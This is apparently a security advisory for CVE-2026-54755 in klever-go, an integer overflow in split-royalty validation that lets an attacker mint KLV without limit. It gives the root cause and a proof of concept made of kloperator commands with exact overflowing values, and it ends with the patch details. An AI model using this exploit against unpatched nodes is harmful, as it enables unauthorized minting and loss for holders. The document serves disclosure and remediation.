critical · 9.6CVE-2026-54755Aug 28, 2026

CVE-2026-54755: klever-go Integer Overflow in Split-Royalty Validation Enables Unbounded KLV Minting

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A uint32 wraparound in Klever's split-royalty validation lets any user create an asset whose royalty percentages overflow to zero on check but pay out astronomically large amounts of KLV to…

Packagegithub.com/klever-io/klever-go
Ecosystemgo
Affected< 1.7.19
Fixed in1.7.19
CVE-2026-54755: klever-go Integer Overflow in Split-Royalty Validation Enables Unbounded KLV Minting

The problem

KDA asset split royalties are validated by summing per-entry uint32 percentages into another uint32 and checking only the sum against HundredPercent (10000). No per-entry bound is enforced. Two entries of 0x80000000 (2,147,483,648) each sum to 0x1_0000_0000, which wraps to 0 in uint32, so CheckValid100Params passes.

At payout, each split recipient receives pool * 0x80000000 / 10000 KLV. The resulting negative remainder is silently discarded with if royaltiesToPay <= 0 { return Ok }, so the over-credited KLV is never debited from anywhere. This is pure on-chain minting, and it is invisible to supply dashboards because the credit goes through AddToBalance rather than a tracked Mint operation.

Any account that can pay the one-time asset-creation fee can trigger this on demand.

Proof of concept

A working proof-of-concept for CVE-2026-54755 in github.com/klever-io/klever-go, with the exact payload below.

bash
# Step 1: create a throwaway asset with two split entries whose uint32 sum wraps to 0
# percentTransferFixed: 21474836.48 * 100 = 2147483648 = 0x80000000
# 0x80000000 + 0x80000000 = 0x1_0000_0000 → wraps to 0 in uint32 → passes CheckValid100Params
R1="klv17e8zzgn73h6ehe3c6q9vlt77kuxk5euddmhymy5uhv2rhv0dc0nqlfp0ap"
R2="klv1fpwjz234gy8aaae3gx0e8q9f52vymzzn3z5q0s5h60pvktzx0n0qwvtux5"

./kloperator kda create 0 \
  --name="KlvPrinter" --ticker=KPRT2 --precision=6 \
  --initialSupply=1000000 --canMint \
  --royaltiesAddress=<owner> \
  --royaltiesTransferFixed=1 \
  --splitRoyalties="{\"address\":\"$R1\",\"percentTransferFixed\":21474836.48}" \
  --splitRoyalties="{\"address\":\"$R2\",\"percentTransferFixed\":21474836.48}" \
  -s --await
# Expected: resultCode: Ok
# Node stores percentTransferFixed: 2147483648 (0x80000000) for both entries

# Step 2: trigger the mint with one ordinary transfer (TransferFixed = 1 KLV)
./kloperator account send "$R2" 1 --kda KPRT2-<id> -s --await
# Expected: resultCode: Ok
# R1 and R2 each receive 214748364800 KLV (214,748.36 KLV each)
# Minted per tx: 1000000 * 0x80000000 / 10000 = 214748364800 per recipient
# Total minted: 429,496.73 KLV for a 1 KLV royalty outlay
#
# Verified on-chain (chainID 420420):
# Create tx: 1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb -> Ok
# Transfer tx: 4e869e93f480c7735f08d6f807cd3c0bb1935131d9bacef75ca7e3402501d1e6 -> Ok, block 375

The root cause is CWE-190 (Integer Overflow or Wraparound). The validation accumulator in create.go/trigger.go is uint32, so two entries of 0x80000000 produce a sum of 0 after wraparound. CheckValid100Params in assetHelper.go only sees 0, which is <= 10000, so validation passes.

The payout path in accounts.go then computes pool * 0x80000000 / 10000 per recipient using int64 arithmetic, which does not overflow for small pools (1 KLV royalty), and credits each recipient the inflated amount.

The patch at commit 8bcc600b0ac88070740c63c7ce1c8a968dd85251 adds a per-entry upper-bound check (each field must be <= HundredPercent) in decodeSplitInfo, widens the summation accumulators in create.go and trigger.go to uint64 to prevent wraparound, and replaces the silent royaltiesToPay <= 0 -> Ok early-return with a hard error on negative remainders across all three payout sites (transfer, market, ITO).

The fix

Upgrade klever-go to v1.7.19 (patch commit 8bcc600b0ac88070740c63c7ce1c8a968dd85251). The fix adds per-entry <= HundredPercent validation for all split-royalty fields before they are stored, widens summation accumulators to uint64, and turns any negative royalty remainder into a hard transaction error instead of a silent success.

Gate deployment behind the activation-epoch fork flag used by this release so historical blocks reprocess identically.

Reporter not attributed.

References: [1][2][3][4]

Related research